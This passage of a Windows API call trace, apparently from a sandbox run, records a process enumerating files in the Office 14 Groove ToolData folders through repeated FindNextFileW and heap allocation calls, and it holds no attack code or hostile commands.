RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d32e8) returned 1 [0079.028] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11d30d8) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsVersion1Warning.htm", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x164a, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewFrame.html", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x529b4870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xadf, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormsViewTemplate.html", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1bfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="FormToolImages.jpg", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b7e1800, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618a28b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9b7e1800, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2577, dwReserved0=0x0, dwReserved1=0x0, cFileName="form_edit.js", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x567e4730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAUNCH.GIF", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58285d50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa52f, dwReserved0=0x0, dwReserved1=0x0, cFileName="macroprogress.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x21e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublicFunctions.js", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignleft.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_alignright.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_bullets.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_center.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosecolor.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_choosefont.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_decreaseindent.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_hyperlink.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_increaseindent.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_italic.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x352, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_justify.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x373, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_pressed.gif", cAlternateFileName="")) returned 1 [0079.028] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_spellcheck.gif", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35c, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtf_underline.gif", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x267, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVE.GIF", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x14307, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUBMIT.JS", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xca5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="utilityfunctions.js", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x64b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="validation.js", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x13e, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.ICO", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2095, dwReserved0=0x0, dwReserved1=0x0, cFileName="VIEW.JS", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xd78, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewHeaderPreview.jpg", cAlternateFileName="")) returned 0 [0079.029] GetLastError () returned 0x12 [0079.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8270) returned 1 [0079.029] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0079.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8378) returned 1 [0079.029] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.029] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveForms5", cAlternateFileName="")) returned 1 [0079.029] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0079.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0079.030] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0079.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11dc790 [0079.030] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11dc790, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x11dc790, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0079.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dc790) returned 1 [0079.030] NtClose (Handle=0x17c) returned 0x0 [0079.030] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11b8168) returned 1 [0079.030] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab92b0 [0079.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8168 [0079.031] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.031] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8378 [0079.031] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9180 [0079.032] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70685f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70685f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.033] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5127f1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADD.GIF", cAlternateFileName="")) returned 1 [0079.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.033] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.033] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11b8270 [0079.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab92b0) returned 1 [0079.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c89a0 [0079.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d30d8 [0079.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.034] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa638ad00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa638ad00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xae8, dwReserved0=0x0, dwReserved1=0x0, cFileName="attention.gif", cAlternateFileName="")) returned 1 [0079.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.034] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.034] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c89c0 [0079.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11d32e8 [0079.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.035] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa769da00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa769da00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x383, dwReserved0=0x0, dwReserved1=0x0, cFileName="CALENDAR.GIF", cAlternateFileName="")) returned 1 [0079.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.035] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab91a0 [0079.035] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab91a0) returned 1 [0079.035] 